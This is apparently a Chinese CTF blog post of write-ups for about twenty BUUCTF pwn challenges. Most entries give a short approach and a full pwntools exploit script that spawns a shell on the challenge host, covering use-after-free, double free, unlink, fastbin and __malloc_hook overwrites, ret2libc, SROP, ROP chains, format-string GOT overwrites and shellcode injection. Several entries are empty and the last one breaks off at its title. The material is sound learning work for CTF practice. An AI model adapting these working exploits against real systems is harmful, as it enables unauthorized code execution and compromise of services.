pwn入门-buu刷题第三页题解(32道)(持续更新中)

ciscn_2019_n_3

思路:

菜单堆题

libc版本为2.27.存在uaf漏洞,虽然这里没有edit函数,但是我们可以通过double free来实现同样的功能

并且got表可改,而且程序存在system表象,那么我们只需要把atoi的got表改为system,然后在询问我们选项的时候即可getshell。

因为在add时还会申请一个伴随堆块

所以我们需要多次申请再free来消除这个对uaf和double free的影响

Exp:

from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",27434)
elf=ELF("./pwn")
libc=ELF("/home/giant/Desktop/buuctf3/libc_18_32.so")
def debug():
	gdb.attach(p)
	pause()
def add(idx,Type,size,content):
	p.sendlineafter(b'CNote > ',b'1')
	p.sendlineafter(b'Index > ',str(idx))
	p.sendlineafter(b'Type > ',str(Type))
	p.sendlineafter(b'Length > ',str(size))
	p.sendlineafter(b'Value > ',content)
	
def free(idx):
	p.sendlineafter(b'CNote > ',b'2')
	p.sendlineafter(b'Index > ',str(idx))
	
def show(idx):
	p.sendlineafter(b'CNote > ',b'3')
	p.sendlineafter(b'Index > ',str(idx))
	
	
add(0,2,0x48,b'1'*4)
add(1,2,0x48,b'1'*6)


add(6,2,0x4,b'a'*1)
add(7,2,0x4,b'a'*1)
add(8,2,0x4,b'a'*1)
add(9,2,0x6,b'a'*1)
free(7)
free(8)
free(6)

free(0)
free(1)
free(0)

add(3,2,0x48,p32(0x804b038))
add(2,2,0x48,b'1'*4)
free(9)

add(4,2,0x48,b'1'*6)
add(10,2,0x48,p32(elf.sym["system"]))

#debug()
p.sendlineafter(b'CNote > ',b'sh\x00')

p.interactive()


babyfengshui_33c3_2016

思路:

一道菜单堆题

edit函数存在堆溢出

Exp:

0ctf_2017_babyheap

思路:

菜单堆题

其中edit函数存在堆溢出漏洞,我们可以自己定义我们向所指堆块写入的字节数

但是这题没有uaf漏洞,所以我们可以通过堆块堆叠来泄漏libc_base。

我们可以先申请一个0x18大小的堆块,再申请两个0x88大小的堆块,这样我们就可以通过edit堆块0来把chunk2的size改为0x121,然后把它free掉。

再申请一个0x118大小的堆块这样我们就获得了一个堆块堆叠的chunk,然后我们再把idx2的堆块free掉,由于我们在free1的时候会把idx2的size都清空,所以我们在free2的时候需要把它的size位补上。

#leak libc_base

add(0x18)
add(0x88)
add(0x88)
add(0x88)
edit(0,b'a'*0x18+p64(0x121))
free(1)
add(0x118)
edit(1,b'a'*0x88+p64(0x91))
free(2)
dump(1)

接下来就是简单的malloc_hook攻击了,堆溢出改fd就行了,这个地方没什么好说的,还有一点需要注意的是,我们如果用的是本地的libc然后通过泄露出来的main_arena直接计算出libc_base可能和远程的有一些出路而导致打不通。

Exp:

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#--------------------------------------------------------------------------------------
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote("node5.buuoj.cn",27167)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')

def add(size):
    p.sendlineafter("Command:", '1')
    p.sendlineafter("Size:", str(size))

def edit(index, content):
    p.sendlineafter("Command:", '2')
    p.sendlineafter("Index:", str(index))
    p.sendlineafter("Size:", str(len(content)))
    p.sendafter("Content:", content)

def free(index):
    p.sendlineafter("Command:", '3')
    p.sendlineafter("Index:", str(index))

def dump(index):
    p.sendlineafter("Command:", '4')
    p.sendlineafter("Index:", str(index))
    
   
add(0x18)
add(0x88)
add(0x88)
add(0x88)
edit(0,b'a'*0x18+p64(0x121))
free(1)
add(0x118)
edit(1,b'a'*0x88+p64(0x91))
free(2)
dump(1)
print(p.recvuntil(b'Content: \n'))
p.recv(0x90)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))- 0x3c4b78
malloc_hook=libc_base+libc.sym["__malloc_hook"]
ogg=libc_base+ 0x4526a

add(0x88)
add(0x68)
add(0x68)
free(5)
edit(4,b'a'*0x68+p64(0x71)+p64(malloc_hook-0x23))
print(hex(libc_base))
add(0x68)
add(0x68)
edit(6,b'a'*0x13+p64(ogg))
#add(0x10)
p.interactive()
#debug()


hitcon2014_stkof

思路:

都2024年了啊,看来是吃不上安全这口饭了。

这是一道没有菜单的堆题,不过根据对应的代码我们也可以看出是什么功能。

虽然这道题目没有菜单,但是也只是一道普通的堆溢出而已,ctf基础扎实的群友根本不用怕

堆溢出在这个地方

这里我们可以自己定义输入的大小,然后malloc的size又没有限制。

只不过在free的时候指针被清空了,那么我们就只能利用堆块重叠来泄露libc_base的话show函数有没有

那么我们该如何泄露呢?

这里由于程序没有开启pie

那么可以现在可以更改free chunk的fd指针,不过由于是libc2.23,,所以fastbin在分配时会有检查机制,所以我们需要找到一块size符合的地方来实现任意地址写。刚好0x6020cd这个地方有size域可以绕过fastbin的检查,而且这个地方还靠近tr,所以这样就可以达到任意地址改的效果

随后我们可以把free_got->puts然后再把ptr改成put_got,然后再free即可泄露libc_base,之后再改got表为system即可getshell

Exp:

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#--------------------------------------------------------------------------------------
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./stkof')
p = remote("node5.buuoj.cn",27424)
elf = ELF('./stkof')
libc = ELF('libc-2.23.so')
 
def add(size):
	p.sendline('1')
	p.sendline(str(size))
	p.recv()
def free(index):
	p.sendline('3')
	p.sendline(str(index))
	
def dump(index):
	p.sendline('4')
	p.sendline(str(index))
	p.recv()
def edit(index, content):
	p.sendline('2')
	p.sendline(str(index))
	p.sendline(str(len(content)))
	p.send(content)
	p.recv()
	
	

add(0x68) #1
add(0x68) #2
add(0x68) #3
free(3)
edit(2,b'a'*0x68+p64(0x71)+p64(0x6020cd))
add(0x68) #4
add(0x68)#5
edit(5,b'a'*0x68+b'\x00'*3+p64(elf.got["free"])*1+p64(elf.got["puts"]))
edit(1,p64(elf.sym["puts"]))

free(2)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["puts"]
system=libc.sym["system"]+libc_base
edit(5,b'a'*0x68+b'\x00'*3+p64(elf.got["atoi"])*1+p64(elf.got["puts"]))
edit(1,p64(system))
print(hex(libc_base))
p.sendline('/bin/sh\x00')
#debug()
p.interactive()

mrctf2020_shellcode_revenge

思路:

反汇编不了怎么办?
1.寻找新版本的ida?

但是这样耗时又耗力,不如直接上汇编

当然你还可以直接把对应的地方nop掉,不过你还是得先知道你nop掉的代码是什么功能

nop掉之后就可以反汇编了

不过这段代码肯定是有残缺的,我们自己知道就行了。很显然这里会对shellcode进行检查,只有通过了,才可以执行shellcode

if里面的都要满足也就是buf要小于47且还要大于122才可

但是我们的shellcode一般是这样的

shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

最后实在是云里雾里,看了一眼wp,大概明白了许多了,但还是一头雾水。

这里需要输入纯字符shellcode,这就是无非就是另外一种形式下编码的shellcode而已。

但是问题是,什么是纯字符,我们是怎么根据这个条件判断来要求输入纯字符的。别问我我也不知道,我甚至连工具都没找到,不过还是贴一个exp吧

Exp:

from pwn import *
p=process("./pwn")
#gdb.attach(p)
shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
p.send(shellcode_64)
p.interactive()

jarvisoj_level5

思路:

经典的ret2libc,没有思路,全是套路

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote('node5.buuoj.cn', 28666)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
 
ret = 0x400499
rdi = 0x4006b3
rsi_r15 = 0x4006b1
payload = b'a'*0x88 + p64(rdi) + p64(1) + p64(rsi_r15) + p64(elf.got['write']) + p64(0) + p64(elf.plt['write']) + p64(elf.sym['main'])
p.sendlineafter(b'Input:\n', payload)
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = write_addr - libc.sym['write']
print('libcbase => ', hex(libcbase))
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x88 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'Input:\n', payload)
p.interactive()

pwnable_hacknote

思路:

又是一道菜单堆题,就是不知道经典不经典。

经典的uaf,虽然没有edit函数不过这也足够了,而且堆块的申请大小也不受限制,那么我们可以先free掉一个大于0x80大小的堆块,再申请回来,即可泄露libc_base。

这里我本来是想通过打malloc_hoo来getshell的,但是由于在malloc的时候总是会先malloc一个小堆块,来存放一些信息

而且申请的堆块数量也有限,于是我把目光放在了show函数上面

可以看到show函数是根据我们那个0x8大小的伴随堆块来实现puts功能的,那么我们只需要把这个堆块里对应的值改掉改为system,然后参数改为sh;即可getshell

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",29683)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc-2.23_16_32.so')
def debug():
	gdb.attach(p)
	pause()
def add(size, content):
	p.sendlineafter(b'Your choice :', b'1')
	p.sendlineafter(b'Note size :', str(size))
	p.sendafter(b'Content :', content)
def free(index):
	p.sendlineafter(b'Your choice :', b'2')
	p.sendlineafter(b'Index :', str(index))
def show(index):
	p.sendlineafter(b'Your choice :', b'3')
	p.sendlineafter(b'Index :', str(index))
	
	
add(0x28,b'a'*1)#0
add(0x88,b'a'*1)#1
add(0x28,b'a'*1)#2

free(1)
add(0x88,b'a'*1)#3
show(1)
#print(p.recv())
libc_base=u32(p.recv(4))+7-libc.sym["__malloc_hook"]
system=libc.sym["system"]+libc_base
print(hex(libc_base))
free(2)
free(0)
free(2)

add(0x8,p32(system)+b';sh;')
#debug()
show(0)
p.interactive()

ciscn_2019_es_7

思路:

SROP没什么好说的

Exp:

from pwn import *
#p=process("./ciscn_2019_es_7")
p=remote("node5.buuoj.cn",27742)
#gdb.attach(p)
context(arch='amd64',os='linux',log_level='debug')
syscall=0x400517
mov_rax=0x4004DA
ret=0x00000000004003a9
vuln_addr=0x4004ED
payload1=b'/bin/sh\x00'*0x2+p64(vuln_addr)
p.sendline(payload1)
 
p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
#print(hex(stack))
 
#print(hex(binsh))
 
p.recv()
sigframe=SigreturnFrame()
sigframe.rax=0x3b
sigframe.rdx=0
sigframe.rdi=binsh
sigframe.rsi=0
sigframe.rip=syscall
sigframe.r11=0
 
sleep(1)
 
payload2=(b'/bin/sh\x00'*2+p64(mov_rax)+p64(syscall)+flat(sigframe))
p.send(payload2)
 
p.interactive()
 
#pause()
 

mrctf2020_easy_equation
 

思路:

没必要通过解出这个方程再通过格式化字符串来改值,直接栈溢出改返回地址为system即可

Exp:

from pwn import *
p=remote("node5.buuoj.cn",29836)
#p=process("./mrctf2020_easy_equation")
payload=b'a'*0x9+p64(0x4006D0)
p.sendline(payload)
p.interactive()

cmcc_pwnme2

思路:

别管哪些乱七八糟的,都不如libc来的直接

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
 
#p = process('./pwn')
p = remote('node5.buuoj.cn', 24736)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc-2.23_16_32.so')
 
 
 
payload = b'a'*0x70 + p32(elf.sym['puts']) + p32(elf.sym['main']) + p32(elf.got['puts'])
p.recv()
p.sendline(payload)
p.recvline()
 
puts_addr = u32(p.recv(4))
print('puts_addr => ', hex(puts_addr))
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
 
payload = b'a'*0x70 + p32(system) + p32(elf.sym['main']) + p32(binsh)
p.recv()
p.sendline(payload)
 
p.interactive()

picoctf_2018_got_shell

思路:

很明显的任意地址读写

而且还有后门函数

Exp:

from pwn import *
p=process("./pwn1")
elf=ELF("./pwn1")
p.recv()
gdb.attach(p)
p.sendline(b'0x804a014')
print(p.recv())
p.sendline(b'0x08048551')
pause()
p.interactive()

wdb_2018_2nd_easyfmt

思路:

很经典的一道栈上的格式化字符串漏洞题,直接对着返回地址写one_dagdet即可

Exp:

roarctf_2019_easy_pwn

思路:

菜单堆题,没有uaf漏洞,但是存在堆溢出漏洞。

编辑堆块的大小我们可以自己输入,那么我们可以通过这个来造成堆块重叠从而泄露libc_base再通过打__malloc_hook来getshell。

但是比较悲催的是这里的one_gadget都不能用,那么我们这个时候就可以如果realloc来改变一下栈布局,从而来实现one_gadget的

Exp:

picoctf_2018_can_you_gets_me

思路:

没什么好说的秒了

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
 
#p = process('./pwn')
p = remote('node5.buuoj.cn', 28956)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc_18_32.so')
 
def get_payload():
  p = b'a'*0x1c
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea060) # @ .data
  p += pack('<I', 0x080b81c6) # pop eax ; ret
  p += b'/bin'
  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea064) # @ .data + 4
  p += pack('<I', 0x080b81c6) # pop eax ; ret
  p += b'//sh'
  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea068) # @ .data + 8
  p += pack('<I', 0x08049303) # xor eax, eax ; ret
  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x080481c9) # pop ebx ; ret
  p += pack('<I', 0x080ea060) # @ .data
  p += pack('<I', 0x080de955) # pop ecx ; ret
  p += pack('<I', 0x080ea068) # @ .data + 8
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea068) # @ .data + 8
  p += pack('<I', 0x08049303) # xor eax, eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0806cc25) # int 0x80
  return p
payload = get_payload()
p.recv()
p.sendline(payload)
p.interactive()

npuctf_2020_easyheap

思路:

菜单堆题

edit函数存在offbyone漏洞,而且是libc2.27的版本,那么直接打堆块重叠即可,可以通过堆块重叠去修改那个伴随堆块的相关信息,从而实现泄露libc_base和改got表为system来getshell

Exp:

from pwn import *
from struct import pack
context.log_level='debug'


def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",26245)
elf = ELF('./pwn')
libc = ELF('libc-2.27_18_64.so')
 
def add(size, content):
	p.sendlineafter(b'Your choice :', '1')
	p.sendlineafter(b'Size of Heap(0x10 or 0x20 only) : ', str(size))
	p.sendafter(b'Content:', content)
def edit(index, content):
	p.sendlineafter(b'Your choice :', '2')
	p.sendlineafter(b'Index :', str(index))
	p.sendafter(b'Content:', content)
def show(index):
	p.sendlineafter(b'Your choice :', '3')
	p.sendlineafter(b'Index :', str(index))
def free(index):
	p.sendlineafter(b'Your choice :', '4')
	p.sendlineafter(b'Index :', str(index))


add(0x18,b'a'*8)#idx->0
add(0x18,b'a'*8)#idx->1
add(0x18,b'a'*8)#idx->2


edit(0,b'a'*0x18+p8(0x41))
free(1)
add(0x38,p64(0)*3+p64(0x21)+p64(0x38)+p64(elf.got["atoi"]))#idx->4->1


show(1)
p.recvuntil(b'Content : ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["atoi"]
system=libc_base+libc.sym["system"]
one_gadget=0x10a38c+libc_base
print(hex(libc_base))
#gdb.attach(p)
edit(1,p64(system))
#debug()
p.recv()

p.sendlineafter(b'Your choice :', b'sh\x00')
p.interactive()

hitcontraining_bamboobox

思路:

同样是一道菜单堆题,然后貌似有后门函数?

不过我一向秉持的原则就是能拿shell,那就先拿shell,如果实在不行再看看这个函数

可以看到虽然有edit函数,并且可以堆溢出,但是这里在输入完之后会在最后面自动添加0,add函数也是,这就导致了我们就算能通过堆块堆叠来造成uaf也不能泄露libc_base,那么这里可以用到一种新的技巧,就是unlink,不知道的可以去我的暑假第一周周报里面了解。

通过unlink,我们可以改变itemlist里面的值的内容,从而来改变show的位置,然后再泄露libc_base,然后由于这道题的got表还是可写的,那么随便打了

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",27029)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
def debug():
	gdb.attach(p)
	pause()
def add(size, content):
	p.sendlineafter(b'Your choice:', '2')
	p.sendlineafter(b'Please enter the length of item name:', str(size))
	p.sendafter(b'Please enter the name of item:', content)
def show():
	p.sendlineafter(b'Your choice:', '1')
def edit(index, content):
	p.sendlineafter(b'Your choice:', '3')
	p.sendlineafter(b'Please enter the index of item:', str(index))
	p.sendlineafter(b'Please enter the length of item name:', str(len(content)))
	p.sendafter(b'Please enter the new name of the item:', content)
def free(index):
	p.sendlineafter(b'Your choice:', '4')
	p.sendlineafter(b'Please enter the index of item:', str(index))



def get_shell():
	p.sendlineafter(b'Your choice:', '/bin/sh\x00')
 

heap=0x6020c8
add(0x81,b'a'*8)
add(0x81,b'a'*2)
add(0x18,b'b'*2)
edit(0,p64(0)+p64(0x81)+p64(heap-0x18)+p64(heap-0x10)+b'\x00'*0x60+p64(0x80)+p64(0x90))
#debug()
free(1)
add(0x81,b'a'*2)
edit(0,p64(0)*2+p64(0x81)+p64(0x602018)+p64(0x81)+p64(0x6020c0))
show()
p.recvuntil(b'0 : ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["free"]
system=libc.sym["system"]+libc_base
print(hex(libc_base))
edit(1,p64(0x81)+p64(elf.got["atoi"]))
edit(0,p64(system))
get_shell()
p.interactive()






suctf_2018_basic pwn

思路:

ret2text没什么好说的,我本地貌似有点问题,不过远程还是可以通的

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",28019)
elf = ELF('./pwn')

 
payload = b'a'*0x118 + p64(0x401157)
p.sendline(payload)
print(p.recv())

x_ctf_b0verfl0w

思路:

什么保护都没开,并且栈上有可执行权限,那么我们可以利用程序中的

这段代码的gadget去往栈上写shellcode,并控制栈然后执行shellcode

Exp:

from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",26921)
elf=ELF("./pwn")
#gdb.attach(p)
shellcode_x86 = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += b"\x0b\xcd\x80"
p.sendline(p32(0x08048504)*2+shellcode_x86.ljust(0x1c,b'\x90')+p32(0x08048500)+p32(0x08048504))
p.interactive()
pause()

actf_2019_babystack

思路:

经典栈迁移,这里栈地址给出来了,但是两次栈的地址可能会不一样,这里需要注意一下。

然后就是写0ne_gad_get了

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote('node4.buuoj.cn', 28797)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')
 
leave = 0x400A18
ret = 0x400709
rdi = 0x400ad3
 
# first attack
p.sendlineafter(b'How many bytes of your message?\n', b'224')
p.recvuntil(b'Your message will be saved at ')
buff = int(p.recv(14), 16)
print('buff => ', hex(buff))
payload = p64(0) + p64(rdi) + p64(elf.got['puts']) +  p64(elf.sym['puts']) + p64(0x4008F6)
payload = payload.ljust(208, b'\x00') + p64(buff) + p64(leave)
p.sendafter(b'>', payload)

p.recvline()
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print('puts => ', hex(puts))
libcbase = puts - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
one_gadget = libcbase + 0x4f322
 
# second attack
p.sendlineafter(b'How many bytes of your message?\n', b'224')
p.recvuntil(b'Your message will be saved at ')
buff = int(p.recv(14), 16)
print('buff => ', hex(buff))
payload = p64(0) + p64(ret) + p64(rdi) + p64(buff+0x28) + p64(system) + b'/bin/sh\x00'

payload = payload.ljust(208, b'\x00') + p64(buff) + p64(leave)
p.sendafter(b'>', payload)
p.interactive()

inndy_echo

思路:

又是经典的格式化字符串漏洞,还是栈上的,这种太简单了,直接上exp把

Exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#----------------------------------------------------------------------------------------
#p=process("./echo")
elf=ELF("./echo")
p=remote("node5.buuoj.cn",26113)
printf_got=elf.got["printf"]
system_addr=elf.sym["system"]
#p.sendline(payload)
#debug('b *0x080485B9')
payload=fmtstr_payload(7, {printf_got: system_addr})

sl(payload)
r()
pause()
sl(b'sh\x00')
inter()












picoctf_2018_leak_me

思路:

程序逻辑很简单只要猜对password了就给flag,但是我们是不可能去猜的没辙了可以看到

v5和s靠的比较进,而且后面还会puts(s),那么我们只需要通过合理输入v5的字长即可得到password,从而getshell

Exp:

from pwn import *
p=process("./pwn")
#p=remote("node5.buuoj.cn",27505)
payload=b'a'*0x100
p.sendline(b'a'*0xf0)
p.recv(0xf0)
p.recvline()
p.recv(14)
p.sendline(p.recv())
print(p.recv())

hitcontraining_unlink

思路:

和上面那道hitcontraining_bamboobox一模一样,没啥好说的

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",27029)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
def debug():
	gdb.attach(p)
	pause()
def add(size, content):
	p.sendlineafter(b'Your choice:', '2')
	p.sendlineafter(b'Please enter the length of item name:', str(size))
	p.sendafter(b'Please enter the name of item:', content)
def show():
	p.sendlineafter(b'Your choice:', '1')
def edit(index, content):
	p.sendlineafter(b'Your choice:', '3')
	p.sendlineafter(b'Please enter the index of item:', str(index))
	p.sendlineafter(b'Please enter the length of item name:', str(len(content)))
	p.sendafter(b'Please enter the new name of the item:', content)
def free(index):
	p.sendlineafter(b'Your choice:', '4')
	p.sendlineafter(b'Please enter the index of item:', str(index))



def get_shell():
	p.sendlineafter(b'Your choice:', '/bin/sh\x00')
 

heap=0x6020c8
add(0x81,b'a'*8)
add(0x81,b'a'*2)
add(0x18,b'b'*2)
edit(0,p64(0)+p64(0x81)+p64(heap-0x18)+p64(heap-0x10)+b'\x00'*0x60+p64(0x80)+p64(0x90))
#debug()
free(1)
add(0x81,b'a'*2)
edit(0,p64(0)*2+p64(0x81)+p64(0x602018)+p64(0x81)+p64(0x6020c0))
show()
p.recvuntil(b'0 : ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["free"]
system=libc.sym["system"]+libc_base
print(hex(libc_base))
edit(1,p64(0x81)+p64(elf.got["atoi"]))
edit(0,p64(system))
get_shell()
p.interactive()






wustctf2020_easyfast

思路:

一道没有菜单的堆题,典型的uaf漏洞

而且还给了后门,那么随便打了

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
p = process('./pwn')
#p = remote("node5.buuoj.cn",27116)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
 
def debug():
	gdb.attach(p)
	pause()
def add(size):
		p.sendlineafter(b'choice>\n', '1')
		p.sendlineafter(b'size>\n', str(size))
def free(index):
		p.sendlineafter(b'choice>\n', '2')
		p.sendlineafter(b'index>\n', str(index))
def edit(index, content):
		p.sendlineafter(b'choice>\n', '3')
		p.sendlineafter(b'index>\n', str(index))
		p.send(content)
	


add(0x40)
#add(0x71)

free(0)
edit(0,p64(0x602080))
debug()
add(0x40)

add(0x40)
edit(2,p64(0))
#debug()

p.sendlineafter(b'choice>\n', '4')
p.interactive()




[极客大挑战 2019]Not Bad

思路:

这道题看起来也泄露不了栈地址,但是我们可以看到程序在0x123000开辟了一段可写可执行空间

那么我们就可以通过栈迁移往这里写值,但是问题来了,我们怎么往这里写值。我们的read是往栈上写值的。这里我们需要用到read的汇编利用,我们可以提前控制rbp的值,然后再让程序返回到

这个0x400A28的位置,然后程序就会根据我们rbp的值再加上一些偏移,赋值给rsi,最后实现往0x123000+偏移的地方写值,但是这里的0x38的字长,再加上偏移还是不够我们写orw,所以我们可以再执行一次read,来获取更多的字长,然后如果在调试时发现位置不对的话,可以通过nop滑梯滑到正确的地方执行orw。

Exp:

from pwn import *
#p=process("./pwn")
#gdb.attach(p,'b *0x400A39 ')
context.log_level='debug'
p=remote("node5.buuoj.cn",28298)
context(os = 'linux', arch = 'amd64')
buf=0x123200
sc=shellcraft.open('/flag')#pwntools自带的生成这个函数的代码

sc+=shellcraft.read(3,buf,0x30)

sc+=shellcraft.write(1,buf,0x30)
shellcode=asm(
'''
mov rax, 0          
mov rdi, 0         
lea rsi, [0x12301f]  
mov rdx, 160       
syscall  
'''         
)
p.send(b'a'*0x20+p64(0x123000+0x20)+p64(0x400A28)+b'a'*8)
pause()
p.send(shellcode+b'\x00'*2+p64(0x60)+p64(0x1230))
pause()
p.recv()
p.send(b'\x90'*22+asm(sc))
print(p.recv())
pause()

axb_2019_fmt64

